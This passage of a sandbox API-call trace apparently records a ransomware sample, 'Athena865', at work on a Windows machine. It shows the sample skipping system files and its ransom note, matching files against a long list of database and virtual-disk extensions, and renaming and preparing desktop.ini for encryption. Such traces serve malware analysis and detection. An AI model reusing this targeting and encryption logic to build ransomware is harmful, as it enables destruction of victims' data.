ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.656] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.656] lstrlenW (lpString="desktop.ini") returned 11 [0053.656] lstrcpyW (in: lpString1=0x241e8a0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.656] lstrlenW (lpString="desktop.ini") returned 11 [0053.657] lstrlenW (lpString="Athena865") returned 9 [0053.657] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.657] lstrlenW (lpString=".dll") returned 4 [0053.657] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.657] lstrlenW (lpString=".lnk") returned 4 [0053.657] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.657] lstrlenW (lpString=".ini") returned 4 [0053.657] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.657] lstrlenW (lpString=".sys") returned 4 [0053.657] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.657] lstrlenW (lpString="desktop.ini") returned 11 [0053.657] lstrlenW (lpString="bak") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.657] lstrlenW (lpString="ba_") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.657] lstrlenW (lpString="dbb") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.657] lstrlenW (lpString="vmdk") returned 4 [0053.657] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.657] lstrlenW (lpString="rar") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.657] lstrlenW (lpString="zip") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.657] lstrlenW (lpString="tgz") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.657] lstrlenW (lpString="vbox") returned 4 [0053.657] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.657] lstrlenW (lpString="vdi") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.657] lstrlenW (lpString="vhd") returned 3 [0053.657] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.657] lstrlenW (lpString="vhdx") returned 4 [0053.657] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.657] lstrlenW (lpString="avhd") returned 4 [0053.658] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.658] lstrlenW (lpString="db") returned 2 [0053.658] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.658] lstrlenW (lpString="db2") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.658] lstrlenW (lpString="db3") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.658] lstrlenW (lpString="dbf") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.658] lstrlenW (lpString="mdf") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.658] lstrlenW (lpString="mdb") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.658] lstrlenW (lpString="sql") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.658] lstrlenW (lpString="sqlite") returned 6 [0053.658] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.658] lstrlenW (lpString="sqlite3") returned 7 [0053.658] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.658] lstrlenW (lpString="sqlitedb") returned 8 [0053.658] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.658] lstrlenW (lpString="xml") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.658] lstrlenW (lpString="$er") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.658] lstrlenW (lpString="4dd") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.658] lstrlenW (lpString="4dl") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.658] lstrlenW (lpString="^^^") returned 3 [0053.658] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.658] lstrlenW (lpString="abs") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.659] lstrlenW (lpString="abx") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.659] lstrlenW (lpString="accdb") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.659] lstrlenW (lpString="accdc") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.659] lstrlenW (lpString="accde") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.659] lstrlenW (lpString="accdr") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.659] lstrlenW (lpString="accdt") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.659] lstrlenW (lpString="accdw") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.659] lstrlenW (lpString="accft") returned 5 [0053.659] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.659] lstrlenW (lpString="adb") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.659] lstrlenW (lpString="adb") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.659] lstrlenW (lpString="ade") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.659] lstrlenW (lpString="adf") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.659] lstrlenW (lpString="adn") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.659] lstrlenW (lpString="adp") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.659] lstrlenW (lpString="alf") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.659] lstrlenW (lpString="ask") returned 3 [0053.659] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.660] lstrlenW (lpString="btr") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.660] lstrlenW (lpString="cat") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.660] lstrlenW (lpString="cdb") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.660] lstrlenW (lpString="ckp") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.660] lstrlenW (lpString="cma") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.660] lstrlenW (lpString="cpd") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.660] lstrlenW (lpString="dacpac") returned 6 [0053.660] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.660] lstrlenW (lpString="dad") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.660] lstrlenW (lpString="dadiagrams") returned 10 [0053.660] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.660] lstrlenW (lpString="daschema") returned 8 [0053.660] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.660] lstrlenW (lpString="db-journal") returned 10 [0053.660] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.660] lstrlenW (lpString="db-shm") returned 6 [0053.660] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.660] lstrlenW (lpString="db-wal") returned 6 [0053.660] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.660] lstrlenW (lpString="dbc") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.660] lstrlenW (lpString="dbs") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.660] lstrlenW (lpString="dbt") returned 3 [0053.660] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.660] lstrlenW (lpString="dbv") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.661] lstrlenW (lpString="dbx") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.661] lstrlenW (lpString="dcb") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.661] lstrlenW (lpString="dct") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.661] lstrlenW (lpString="dcx") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.661] lstrlenW (lpString="ddl") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.661] lstrlenW (lpString="dlis") returned 4 [0053.661] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.661] lstrlenW (lpString="dp1") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.661] lstrlenW (lpString="dqy") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.661] lstrlenW (lpString="dsk") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.661] lstrlenW (lpString="dsn") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.661] lstrlenW (lpString="dtsx") returned 4 [0053.661] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.661] lstrlenW (lpString="dxl") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.661] lstrlenW (lpString="eco") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.661] lstrlenW (lpString="ecx") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.661] lstrlenW (lpString="edb") returned 3 [0053.661] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.661] lstrlenW (lpString="epim") returned 4 [0053.661] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.661] lstrlenW (lpString="fcd") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.662] lstrlenW (lpString="fdb") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.662] lstrlenW (lpString="fic") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.662] lstrlenW (lpString="flexolibrary") returned 12 [0053.662] lstrlenW (lpString="fm5") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.662] lstrlenW (lpString="fmp") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.662] lstrlenW (lpString="fmp12") returned 5 [0053.662] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.662] lstrlenW (lpString="fmpsl") returned 5 [0053.662] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.662] lstrlenW (lpString="fol") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.662] lstrlenW (lpString="fp3") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.662] lstrlenW (lpString="fp4") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.662] lstrlenW (lpString="fp5") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.662] lstrlenW (lpString="fp7") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.662] lstrlenW (lpString="fpt") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.662] lstrlenW (lpString="frm") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.662] lstrlenW (lpString="gdb") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.662] lstrlenW (lpString="gdb") returned 3 [0053.662] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.663] lstrlenW (lpString="grdb") returned 4 [0053.663] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.663] lstrlenW (lpString="gwi") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.663] lstrlenW (lpString="hdb") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.663] lstrlenW (lpString="his") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.663] lstrlenW (lpString="ib") returned 2 [0053.663] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.663] lstrlenW (lpString="idb") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.663] lstrlenW (lpString="ihx") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.663] lstrlenW (lpString="itdb") returned 4 [0053.663] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.663] lstrlenW (lpString="itw") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.663] lstrlenW (lpString="jet") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.663] lstrlenW (lpString="jtx") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.663] lstrlenW (lpString="kdb") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.663] lstrlenW (lpString="kexi") returned 4 [0053.663] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.663] lstrlenW (lpString="kexic") returned 5 [0053.663] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.663] lstrlenW (lpString="kexis") returned 5 [0053.663] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.663] lstrlenW (lpString="lgc") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.663] lstrlenW (lpString="lwx") returned 3 [0053.663] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.664] lstrlenW (lpString="maf") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.664] lstrlenW (lpString="maq") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.664] lstrlenW (lpString="mar") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.664] lstrlenW (lpString="marshal") returned 7 [0053.664] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.664] lstrlenW (lpString="mas") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.664] lstrlenW (lpString="mav") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.664] lstrlenW (lpString="maw") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.664] lstrlenW (lpString="mdbhtml") returned 7 [0053.664] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.664] lstrlenW (lpString="mdn") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.664] lstrlenW (lpString="mdt") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.664] lstrlenW (lpString="mfd") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.664] lstrlenW (lpString="mpd") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.664] lstrlenW (lpString="mrg") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.664] lstrlenW (lpString="mud") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.664] lstrlenW (lpString="mwb") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.664] lstrlenW (lpString="myd") returned 3 [0053.664] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.664] lstrlenW (lpString="ndf") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.665] lstrlenW (lpString="nnt") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.665] lstrlenW (lpString="nrmlib") returned 6 [0053.665] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.665] lstrlenW (lpString="ns2") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.665] lstrlenW (lpString="ns3") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.665] lstrlenW (lpString="ns4") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.665] lstrlenW (lpString="nsf") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.665] lstrlenW (lpString="nv") returned 2 [0053.665] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.665] lstrlenW (lpString="nv2") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.665] lstrlenW (lpString="nwdb") returned 4 [0053.665] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.665] lstrlenW (lpString="nyf") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.665] lstrlenW (lpString="odb") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.665] lstrlenW (lpString="odb") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.665] lstrlenW (lpString="oqy") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.665] lstrlenW (lpString="ora") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.665] lstrlenW (lpString="orx") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.665] lstrlenW (lpString="owc") returned 3 [0053.665] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.665] lstrlenW (lpString="p96") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.666] lstrlenW (lpString="p97") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.666] lstrlenW (lpString="pan") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.666] lstrlenW (lpString="pdb") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.666] lstrlenW (lpString="pdm") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.666] lstrlenW (lpString="pnz") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.666] lstrlenW (lpString="qry") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.666] lstrlenW (lpString="qvd") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.666] lstrlenW (lpString="rbf") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.666] lstrlenW (lpString="rctd") returned 4 [0053.666] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.666] lstrlenW (lpString="rod") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.666] lstrlenW (lpString="rodx") returned 4 [0053.666] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.666] lstrlenW (lpString="rpd") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.666] lstrlenW (lpString="rsd") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.666] lstrlenW (lpString="sas7bdat") returned 8 [0053.666] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.666] lstrlenW (lpString="sbf") returned 3 [0053.666] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.666] lstrlenW (lpString="scx") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.667] lstrlenW (lpString="sdb") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.667] lstrlenW (lpString="sdc") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.667] lstrlenW (lpString="sdf") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.667] lstrlenW (lpString="sis") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.667] lstrlenW (lpString="spq") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.667] lstrlenW (lpString="te") returned 2 [0053.667] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.667] lstrlenW (lpString="teacher") returned 7 [0053.667] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.667] lstrlenW (lpString="tmd") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.667] lstrlenW (lpString="tps") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.667] lstrlenW (lpString="trc") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.667] lstrlenW (lpString="trc") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.667] lstrlenW (lpString="trm") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.667] lstrlenW (lpString="udb") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.667] lstrlenW (lpString="udl") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.667] lstrlenW (lpString="usr") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.667] lstrlenW (lpString="v12") returned 3 [0053.667] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.667] lstrlenW (lpString="vis") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.668] lstrlenW (lpString="vpd") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.668] lstrlenW (lpString="vvv") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.668] lstrlenW (lpString="wdb") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.668] lstrlenW (lpString="wmdb") returned 4 [0053.668] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.668] lstrlenW (lpString="wrk") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.668] lstrlenW (lpString="xdb") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.668] lstrlenW (lpString="xld") returned 3 [0053.668] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.668] lstrlenW (lpString="xmlff") returned 5 [0053.668] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.668] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\desktop.ini.Athena865") returned 65 [0053.668] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\desktop.ini" (normalized: "c:\\documents and settings\\default\\favorites\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.669] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.669] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=402) returned 1 [0053.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0053.669] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.670] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.670] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.670] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x154 [0053.672] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0053.673] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.674] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.674] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.674] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.674] CloseHandle (hObject=0x154) returned 1 [0053.674] CloseHandle (hObject=0x17c) returned 1 [0053.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: 